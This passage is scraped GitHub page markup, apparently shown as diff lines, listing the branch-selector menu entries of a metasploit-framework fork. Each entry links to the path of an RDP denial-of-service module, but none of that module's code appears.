select-menu-item-text js-select-button-text css-truncate-target" + title="apple_quicktime_rdrf_refs">apple_quicktime_rdrf_refs</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/apple_quicktime_texml_font_table/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="apple_quicktime_texml_font_table" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="apple_quicktime_texml_font_table">apple_quicktime_texml_font_table</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/arkeia_refs/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="arkeia_refs" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="arkeia_refs">arkeia_refs</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/arm_stagers/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="arm_stagers" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="arm_stagers">arm_stagers</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/arm_stagers_cleanup/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="arm_stagers_cleanup" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="arm_stagers_cleanup">arm_stagers_cleanup</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/audio_coder_m3u/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="audio_coder_m3u" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="audio_coder_m3u">audio_coder_m3u</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/auth_brute_patch/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="auth_brute_patch" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="auth_brute_patch">auth_brute_patch</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/axigen_file_access/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="axigen_file_access" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="axigen_file_access">axigen_file_access</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/bcoles-cuteflow_2.11.2_upload_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="bcoles-cuteflow_2.11.2_upload_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="bcoles-cuteflow_2.11.2_upload_exec">bcoles-cuteflow_2.11.2_upload_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/bcoles-openfiler_networkcard_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="bcoles-openfiler_networkcard_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="bcoles-openfiler_networkcard_exec">bcoles-openfiler_networkcard_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/bcoles-qnx_qconn_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="bcoles-qnx_qconn_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="bcoles-qnx_qconn_exec">bcoles-qnx_qconn_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/beehive_upload/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="beehive_upload" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="beehive_upload">beehive_upload</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/bigant_server_dupf_upload/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="bigant_server_dupf_upload" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="bigant_server_dupf_upload">bigant_server_dupf_upload</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/bigant_server_sch_dupf_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="bigant_server_sch_dupf_bof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="bigant_server_sch_dupf_bof">bigant_server_sch_dupf_bof</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/bmerinofe-telnet_ruggedcom/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="bmerinofe-telnet_ruggedcom" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="bmerinofe-telnet_ruggedcom">bmerinofe-telnet_ruggedcom</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/bug/7292-testcase/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="bug/7292-testcase" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="bug/7292-testcase">bug/7292-testcase</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/bug/active_support/dependencies-compatibility/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="bug/active_support/dependencies-compatibility" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="bug/active_support/dependencies-compatibility">bug/active_support/dependencies-compatibility</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/bug/fastlib-nested-pathnames/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="bug/fastlib-nested-pathnames" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="bug/fastlib-nested-pathnames">bug/fastlib-nested-pathnames</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/bug/fix-double-slashes/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="bug/fix-double-slashes" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="bug/fix-double-slashes">bug/fix-double-slashes</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/bug/handle-100-continue/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="bug/handle-100-continue" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="bug/handle-100-continue">bug/handle-100-continue</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/bug/read-module-content-errno-enoent/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="bug/read-module-content-errno-enoent" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="bug/read-module-content-errno-enoent">bug/read-module-content-errno-enoent</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/bug/windows-pro-modules/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="bug/windows-pro-modules" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="bug/windows-pro-modules">bug/windows-pro-modules</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/bug/wrong-file_changed-argument/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="bug/wrong-file_changed-argument" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="bug/wrong-file_changed-argument">bug/wrong-file_changed-argument</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/bulletproof_ftp_creds/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="bulletproof_ftp_creds" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="bulletproof_ftp_creds">bulletproof_ftp_creds</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/bump-rails-gemcache/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="bump-rails-gemcache" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="bump-rails-gemcache">bump-rails-gemcache</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/chasys_draw_ies_bmp_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="chasys_draw_ies_bmp_bof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="chasys_draw_ies_bmp_bof">chasys_draw_ies_bmp_bof</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/claudijd-master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="claudijd-master" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="claudijd-master">claudijd-master</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/cmaruti-Dell_iDrac/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="cmaruti-Dell_iDrac" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="cmaruti-Dell_iDrac">cmaruti-Dell_iDrac</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/cmd_stager_echo/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="cmd_stager_echo" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="cmd_stager_echo">cmd_stager_echo</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/cmd_windows_ruby/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="cmd_windows_ruby" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="cmd_windows_ruby">cmd_windows_ruby</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/cmdstager_echo_linux/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="cmdstager_echo_linux" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="cmdstager_echo_linux">cmdstager_echo_linux</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/cogent_datahub_request_headers_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="cogent_datahub_request_headers_bof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="cogent_datahub_request_headers_bof">cogent_datahub_request_headers_bof</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/coldfusion9_fingerprint/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="coldfusion9_fingerprint" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="coldfusion9_fingerprint">coldfusion9_fingerprint</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/coldfusion_review/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="coldfusion_review" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="coldfusion_review">coldfusion_review</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/complete_nodejs_exploit/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="complete_nodejs_exploit" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="complete_nodejs_exploit">complete_nodejs_exploit</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/cookie_max_age/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="cookie_max_age" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="cookie_max_age">cookie_max_age</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/coolpdf_image_stream_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="coolpdf_image_stream_bof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="coolpdf_image_stream_bof">coolpdf_image_stream_bof</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/corelpdf_fusion_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="corelpdf_fusion_bof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="corelpdf_fusion_bof">corelpdf_fusion_bof</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/crashbrz-patch-1/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="crashbrz-patch-1" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="crashbrz-patch-1">crashbrz-patch-1</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/crystal_reports_printcontrol/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="crystal_reports_printcontrol" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="crystal_reports_printcontrol">crystal_reports_printcontrol</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/cve-2013-2641/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="cve-2013-2641" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="cve-2013-2641">cve-2013-2641</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/cwe_support/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="cwe_support" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="cwe_support">cwe_support</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/darkoperator-pingsweep_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="darkoperator-pingsweep_fix" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="darkoperator-pingsweep_fix">darkoperator-pingsweep_fix</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/darkoperator-skype_enum/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="darkoperator-skype_enum" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="darkoperator-skype_enum">darkoperator-skype_enum</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/datalife_preview_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="datalife_preview_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="datalife_preview_exec">datalife_preview_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/datalife_template/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="datalife_template" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="datalife_template">datalife_template</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/dcbz-master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="dcbz-master" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="dcbz-master">dcbz-master</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/dcbz-osxpayloads/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="dcbz-osxpayloads" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="dcbz-osxpayloads">dcbz-osxpayloads</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/delete_mutiny_debug/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="delete_mutiny_debug" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="delete_mutiny_debug">delete_mutiny_debug</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/devise_clean/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="devise_clean" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="devise_clean">devise_clean</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/dlink_dir_300_615_http_login_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="dlink_dir_300_615_http_login_work" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="dlink_dir_300_615_http_login_work">dlink_dir_300_615_http_login_work</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/dlink_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="dlink_fix" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="dlink_fix">dlink_fix</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/dlink_review/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="dlink_review" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="dlink_review">dlink_review</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/dlink_upnp_cleanup/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="dlink_upnp_cleanup" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="dlink_upnp_cleanup">dlink_upnp_cleanup</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/dmaloney-r7-WinRM_piecemeal/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="dmaloney-r7-WinRM_piecemeal" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="dmaloney-r7-WinRM_piecemeal">dmaloney-r7-WinRM_piecemeal</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/dns_info_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="dns_info_fix" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="dns_info_fix">dns_info_fix</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/download_exec_mod/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="download_exec_mod" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="download_exec_mod">download_exec_mod</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/download_exec_shell/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="download_exec_shell" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="download_exec_shell">download_exec_shell</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/dvr_config/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="dvr_config" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="dvr_config">dvr_config</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/eap_md5/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="eap_md5" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="eap_md5">eap_md5</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/eddiezab-master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="eddiezab-master" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="eddiezab-master">eddiezab-master</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ektron_xslt_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ektron_xslt_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="ektron_xslt_exec">ektron_xslt_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ektron_xslt_exec_nicob/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ektron_xslt_exec_nicob" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="ektron_xslt_exec_nicob">ektron_xslt_exec_nicob</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/enterasys_netsight_syslog_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="enterasys_netsight_syslog_bof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="enterasys_netsight_syslog_bof">enterasys_netsight_syslog_bof</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a 